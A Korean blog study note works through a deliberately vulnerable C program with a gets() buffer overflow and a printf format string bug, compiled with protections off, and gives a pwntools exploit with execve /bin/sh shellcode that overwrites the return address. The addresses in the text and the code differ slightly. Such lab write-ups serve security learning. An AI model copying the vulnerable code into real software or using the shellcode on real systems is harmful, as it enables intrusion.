뇌
BOF 예제 분석 본문
[ 코드 ]
// 컴파일 옵션 : gcc -o test code.c -z execstack -fno-stack-protector -z norelro
#include <stdio.h>
void setup()
{
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
setvbuf(stderr, 0, 2, 0);
}
int main(void)
{
setup();
char buf[0x100];
printf("What's your name? : ");
gets(buf); // Buffer Overflow
printf("Hello, ");
printf(buf); // Format String Bug
printf("!!!\n");
printf("Last greeting : ");
gets(buf); // Buffer Overflow
return 0;
}
1. 코드 흐름 및 취약점 분석
setup 함수는 stdin, stdout, stderr 를 초기화 시켜준다. - ( 로컬에서 실행할 때는 없어도 문제가 발생하지 않지만, CTF 를 할 때는 입출력 처리가 제대로 안되는 문제가 발생할 수 있기 때문에 CTF 에서 많이 나온다고 한다. )
gets 함수는 입력할 문자열의 최대 bytes 수를 제한하지 않기 때문에 BOF 가 발생한다.
모든 보호기법이 적용되지 않았기 때문에 손쉽게 return address 를 원하는 값으로 변조할 수 있다.
printf 함수는 변수를 출력할 때 format string 을 필요로 한다. 그런데 위 코드에서는 변수 buf 를 출력할 때 format string 을 사용하지 않고 변수만 인자값으로 주었다. 그럼 무슨일이 일어나느냐. 변수 buf 를 gets 함수로 입력 받을 수 있기 때문에 buf 에 format string 을 입력하면 메모리 영역에 있는 값을 leak 할 수 있다. 즉, FSB 가 발생한다.
2. BOF 를 이용하여 Return Address 를 변조하여 쉘 획득하기 ( ASLR X )
[assemble 코드]
2-1. 오프셋 구하기
0x000000000040070b <+36> 부분을 보면 rax 에 rbp-0x100 주소값을 넣고, rax 의 값을 rdi ( 첫번째 인자 ) 에 넣는다.
첫 번째 인자는 buf 이므로 rbp-0x100 이 buf 의 시작 주소임을 알 수 있다.
&buf = rbp-0x100 ~ rbp-0x1
sfp = rbp+0x0 ~ rbp+0x7
ret add = rbp+0x8 ~ rbp+0xf
buf 에서 sfp 까지 dummy 값으로 0x108 만큼 넣고, return address 를 buf 의 시작 주소로 덮으면 되겠다.
2-2. buf 첫번째 주소 구하기 ( return address 로 덮을거임 )
buf 의 시작주소를 구해서 return address 를 덮는 방법은 진짜 거의 모든 문제에서는 ASLR 기법이 걸려있기 때문에 이용할 수 없는 방법이지만, ALSR 기법을 해제한 환경이므로 가능하다.
ASLR 기법이 해제 되었으므로 gdb 를 이용해 buf 의 시작 주소를 구해보자.
from pwn import *
p = process('./ex', aslr = False)
p.sendlineafter(': ', 'hihi')
pause()
p.interactive()
pwntools 를 이용해 ASLR 기법을 해제하고 pause 를 걸어 분석해보자.
gets 함수를 빠져나올 때까지 ni 를 쳐보면, rax 에 buf 의 시작주소가 적혀있다.
gets 함수에서 성공적으로 읽어 들였으므로 buf ( buf 의 시작 주소 ) 를 리턴한다. -> rax 에 리턴 값이 들어간다.
rax 의 값이 0x7fffffffdbd0 이므로, buf 의 시작 주소는 0x7fffffffdbd0 임을 알 수 있다.
2-3. 익스플로잇 작성
gets 함수로 입력 받을 때,
buf 에 쉘코드를 넣고, 나머지 sfp 까지 A 로 채운 후 0x7fffffffdba0 를 넣으면 되겠다.
쉘코드란 ?
쉘을 실행시키는 코드를 어셈블리 코드로 바꾼 것을 바이트 코드로 나타낸 코드이다.
두 번째 get 함수에서 BOF 를 발생시켰다.
[ exploit ]
from pwn import *
p = process('./ex', aslr = False)
p.sendlineafter(': ', 'hihi')
pay = ''
pay += '\x50\x48\x31\xd2\x48\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\xb0\x3b\x0f\x05'
pay += 'A'*(0x108-len(pay)) + p64(0x7fffffffdbd0)
p.sendlineafter(': ', pay)
p.interactive()
>,,<
'Layer 7' 카테고리의 다른 글
운영체제 메모리 할당 알고리즘 (0) | 2020.09.02 |
---|---|
[Pwnable] Codegate 2018 - BaskinRobins31 (0) | 2020.09.01 |
바이너리 분석 2 - RTL ( NX-bit bypass ) (0) | 2020.08.25 |
DreamHack - string ( pwnable ) write up (0) | 2020.08.07 |
바이너리 분석 (0) | 2020.07.12 |